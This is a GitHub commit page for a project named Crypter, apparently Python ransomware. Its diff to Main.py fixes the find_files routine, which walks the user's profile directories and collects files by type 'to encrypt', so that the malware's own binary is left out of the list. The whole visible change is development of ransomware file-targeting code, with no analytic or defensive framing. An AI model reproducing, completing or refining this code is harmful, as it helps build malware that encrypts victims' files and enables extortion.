Skip to content

Commit

Permalink
Corrected approach to getting Crypter binary name
Browse files Browse the repository at this point in the history
  • Loading branch information
sithis committed Jun 21, 2017
1 parent 355a8cd commit dc0d972
Showing 1 changed file with 3 additions and 2 deletions.
5 changes: 3 additions & 2 deletions Crypter/Main.py
Original file line number Diff line number Diff line change
Expand Up @@ -199,6 +199,7 @@ def find_files(self):
@summary: Searches the file system and builds a list of files to encrypt
@return: List of files matching the location and filetype criteria
'''
binary_name = os.path.split(sys.argv[0])[1]

base_dirs = self.get_base_dirs(os.environ['USERPROFILE'])
file_list = []
Expand All @@ -211,7 +212,7 @@ def find_files(self):
if (
(self.is_valid_filetype(file)) and
(file.lower() not in self.FILES_TO_EXCLUDE) and
(file.lower() != __file__)
(file.lower() != binary_name.lower())
):
file_list.append(os.path.join(path, file))
for file in subdirs:
Expand All @@ -220,7 +221,7 @@ def find_files(self):
if (
(self.is_valid_filetype(file)) and
(file.lower() not in self.FILES_TO_EXCLUDE) and
(file.lower() != __file__)
(file.lower() != binary_name.lower())
):
file_list.append(os.path.join(path, file))

Expand Down

0 comments on commit dc0d972

Please sign in to comment.